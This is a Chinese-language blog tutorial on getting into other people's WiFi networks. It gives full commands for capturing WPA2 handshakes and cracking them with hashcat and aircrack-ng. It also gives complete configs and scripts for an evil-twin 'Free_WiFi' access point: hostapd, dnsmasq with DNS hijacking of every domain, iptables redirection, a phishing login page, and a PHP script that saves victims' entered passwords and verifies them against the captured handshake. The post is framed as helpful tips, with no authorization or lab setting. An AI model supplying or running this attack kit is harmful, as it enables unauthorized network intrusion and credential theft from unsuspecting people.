前言
相信不少朋友都遇到过旁边全是Wifi节点,但就是一个都用不了的痛苦。今天我就来分享一些不那么优雅的蹭网方式。
WiFi万能钥匙
- 大道至简,虽说这并不是所谓的密码破解,但在一个陌生环境下蹭网仍是一个不错的选择。毕竟你也不能确定会不会已经有人把密码分享出去了。如果有的话,这种方法可以说是最简单,最高效的方法了。如果没有的话,请继续往下看。
- 我此分享一个从网络中找到的别人分享的万能钥匙的改版,相对清爽一些。WiFi万能钥匙下载链接
抓握手包跑字典
开局直接获取su权限,免得下面操作频繁输入
sudo
。kali的默认账户和密码都是kali
。1
sudo su
查看可用的监听网卡
1
airmon-ng
开启监听,wlan0就是之前查看的监听网卡
1
airmon-ng start wlan0
找到需要监听的wifi后记录信息,然后键入
ctrl c
停止扫描1
2BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
FE:92:C4:5E:5E:C3 -47 3 2 0 4 180 WPA2 CCMP PSK _test根据上面的信息进行握手包抓取,并将抓取的我手包存储指定目录。
1
airodump-ng -c 4 --bssid FE:92:C4:5E:5E:C3 -w /home/kali/Desktop/test/NewFolder/_test wlan0mon
等待有人连接wifi后,显示MAC地址就可以停止抓包了。在对应目录会出现对应文件。
停止抓包
1
airmon-ng stop wlan0mon
进入这个网址
https://hashcat.net/cap2hashcat/index.pl
将.cap
文件转化为.hc22000
文件后就可以选择使用hashcat
进行暴力破解了。1
2
3
4
5// 字典暴力破解
hashcat -m 22000 xxx.hc22000 pwd.txt
// 掩码暴力破解
hashcat -a 3 -m 22000 xxx.hc22000 ?d?d?d?d?d?d?d?d当然也可以不转换,直接使用
aircrack-ng
1
aircrack-ng handshake.cap -w pwd.txt
使用Fluxion伪造AP
- 这个网上教程很多,而且引导页面也可以设置中文,就不过多描述了。
- 需要注意的是使用前执行
fluxion -i
进行依赖补全,如果无法补全就直接自己执行apt
- 其中
pyrit
因为年久失修,已经不在官方的仓库里面了,需要自己弄。但还是需要注意,因为这位作者编写的是bash
脚本,而kali默认为zsh
,如果直接执行脚本会出现报错。正确做法是使用bash
来执行。1
2
3git clone https://github.com/hacker3983/pyrit-installer.git
cd pyrit-installer
bash ./install.sh
手动伪造AP
- 效果和使用
fluxion
基本一样,甚至会略微差一些,毕竟flxuion
的自定义选项更多,而手动弄的话比较吃自己的操作,下限更低。
配置目录以及文件
这次就不要使用
su
了,因为我们需要本地服务器有权限写入目录。创建目录并进入目录创建hostapd.conf文件
1
2mkdir -p /home/kali/Desktop/test/wlan_hack/
cd /home/kali/Desktop/test/wlan_hack/在该目录中放入之前抓取的握手包文件
hostapd.conf
1
2
3
4
5
6
7
8interface=wlan0
driver=nl80211
ssid=Free_WiFi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0dnsmasq.conf
1
2
3
4
5interface=wlan0
dhcp-range=192.168.1.2,192.168.1.100,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
address=/#/192.168.1.1配置钓鱼页面
index.html
1
2
3
4
5
6
7
8
9
10
11
12<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>Wi-Fi 登录</title></head>
<body>
<h2>连接 Free_WiFi</h2>
<form method="POST" action="/login.php">
<label>请输入 Wi-Fi 密码:</label><br>
<input type="password" name="wifi_pass" required><br><br>
<input type="submit" value="连接">
</form>
</body>
</html>配置密码验证
login.php
,请注意修改存储密码的文件和握手包路径为绝对路径1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?php
$password = $_POST['wifi_pass'] ?? '';
file_put_contents("/home/kali/Desktop/test/wlan_hack/temp_pass.txt", $password);
// 调用 aircrack-ng 验证握手包
$cmd = "aircrack-ng /home/kali/Desktop/test/wlan_hack/handshake.cap -w /home/kali/Desktop/test/wlan_hack/temp_pass.txt 2>&1";
$output = shell_exec($cmd);
if (strpos($output, "KEY FOUND!") !== false) {
file_put_contents("/home/kali/Desktop/test/wlan_hack/valid.txt", "y " . $password . "\n");
echo "<h3>密码验证成功,连接成功!</h3>";
} else {
file_put_contents("/home/kali/Desktop/test/wlan_hack/invalid.txt", "n " . $password . "\n");
echo "<h3>密码错误,请重新输入。</h3>";
}
?>配置启动脚本
run.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36#!/bin/bash
# 清理旧配置
killall hostapd dnsmasq apache2
iptables --flush
ip link set wlan0 down
# 设置静态IP
ip link set wlan0 up
ip addr add 192.168.1.1/24 dev wlan0
# 启用 IP 转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 清空旧规则
iptables -F
iptables -t nat -F
# NAT 设置
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# 把所有 HTTP 请求重定向到本地 Web 服务器(Captive Portal)
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1:80
# 启动 hostapd
hostapd hostapd.conf &
# 启动 dnsmasq
dnsmasq -C dnsmasq.conf
# 启动 Apache(默认网站目录为 /var/www/html)
cp index.html /var/www/html/index.html
cp login.php /var/www/html/login.php
systemctl restart apache2
echo "[+] 钓鱼 Wi-Fi 启动成功,请连接 Free_WiFi 测试。"配置停止脚本
stop.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19#!/bin/bash
echo "[*] 正在关闭钓鱼 Wi-Fi 环境..."
# 杀掉后台运行的服务
killall hostapd 2>/dev/null
killall dnsmasq 2>/dev/null
killall apache2 2>/dev/null
# 还原网络接口
ip addr flush dev wlan0
ip link set wlan0 down
# 清除 iptables 规则
iptables -F
iptables -t nat -F
iptables -X
echo "[+] 停止完成,网络环境已恢复。"
执行
配置php用户为当前用户,以确保有权限写入文件。配置文件为
/etc/apache2/envvars
1
2
3
4
5
6
7
8// 将
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
// 修改为
export APACHE_RUN_USER=kali
export APACHE_RUN_GROUP=kali直接执行
run.sh
。
小结
- 最优解肯定是使用
fluxion
,毕竟人家都封装好了,只是为了解决问题,越简单越好。 - 按照我手动配置的话,可能会出现一些网址无法成功dns劫持。
- 当然,钓鱼页面可以自己写,毕竟我写的这个过于简单了。